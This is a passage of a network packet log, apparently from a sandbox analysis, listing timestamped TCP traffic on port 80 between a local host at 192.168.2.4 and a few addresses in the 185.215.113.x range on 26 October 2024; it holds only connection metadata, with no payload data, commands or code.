Oct 26, 2024 05:55:08.368796110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.368833065 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.368876934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.368895054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.368906021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.368954897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.368958950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.368989944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.369003057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.369024038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.369031906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.369059086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.369066954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.369107962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414043903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414139986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414171934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414192915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414208889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414247036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414257050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414278984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414292097 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414314985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414326906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414355040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414356947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414386034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414397001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414419889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414433002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414460897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414473057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414506912 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414515972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414541960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414555073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414572954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414582014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414607048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414613962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414648056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414660931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414702892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414711952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414743900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414753914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414758921 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414776087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414779902 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414789915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414792061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414804935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414813995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414822102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414824963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414839029 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414844990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414854050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414855957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414880037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414894104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.414942026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.414983988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.415024042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.415040016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.415060997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.415072918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.525856972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.525895119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.525917053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.525940895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.525964975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.526000977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.526007891 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.526036024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.526041031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.526072979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.526076078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.526117086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.570622921 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.570683956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.570728064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.570777893 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.570781946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.570816994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.570831060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.570858955 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571058035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571110964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571173906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571216106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571228027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571278095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571280956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571310997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571340084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571377039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571397066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571432114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571439981 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571461916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571475029 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571505070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571513891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571548939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571553946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571583986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571590900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571619034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571630001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571655035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571660042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571696043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571752071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571804047 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571818113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571852922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571865082 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571888924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.571894884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571934938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.571985006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.572041035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.572050095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.572083950 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.572096109 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.572127104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.682723999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.682868004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.682931900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.682966948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.682985067 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.683001041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.683017015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.683052063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727401972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727432013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727468967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727507114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727519035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727525949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727569103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727567911 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727607965 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727622986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727638006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727672100 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727765083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727793932 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727797031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727829933 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727842093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727843046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727895975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727896929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727926016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.727936029 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727977037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.727977037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728028059 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728030920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728065014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728080988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728108883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728136063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728187084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728188992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728244066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728244066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728281021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728296041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728313923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728332043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728358030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728461981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728513002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728513002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728548050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728555918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728583097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728600025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728626013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728703976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728754044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728756905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728786945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.728801966 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.728831053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.839294910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.839370012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884186983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884474039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884567976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884598017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884625912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884649038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884670019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884705067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884716034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884736061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884756088 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884769917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884784937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884804010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884821892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884840012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884855986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884876966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884892941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884911060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884928942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884947062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884957075 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.884979963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.884999037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885032892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885040998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885091066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885106087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885140896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885157108 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885174990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885186911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885212898 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885226965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885265112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885291100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885325909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885344982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885359049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885370016 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885394096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885416031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885438919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885453939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885508060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885514975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885543108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885562897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885595083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885672092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885704994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.885725975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.885746956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.996201992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.996270895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:08.996288061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:08.996330023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041378021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041415930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041450977 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041459084 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041486025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041517019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041521072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041551113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041557074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041574001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041609049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041610956 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041644096 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041654110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041685104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041687965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041718960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041729927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041753054 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041763067 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041795969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041831970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041867971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.041877031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041909933 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.041965008 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042017937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042020082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042052984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042062998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042094946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042099953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042141914 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042195082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042239904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042262077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042294979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042304039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042331934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042335987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042372942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042447090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042479992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042488098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042520046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042632103 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042678118 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042682886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042717934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.042722940 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.042759895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.047133923 CEST	80	49797	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:09.047219992 CEST	49797	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:09.050129890 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.055481911 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.055571079 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.055668116 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:09.060997009 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:09.153033018 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.153117895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.153182030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.153230906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.197956085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.197988033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198009014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198033094 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198040009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198076010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198084116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198108912 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198116064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198149920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198178053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198220015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198229074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198262930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198272943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198299885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198317051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198343039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198370934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198415041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:09.198438883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:09.198471069 CEST	80	49745	185.215.113.206	192.168.2.4
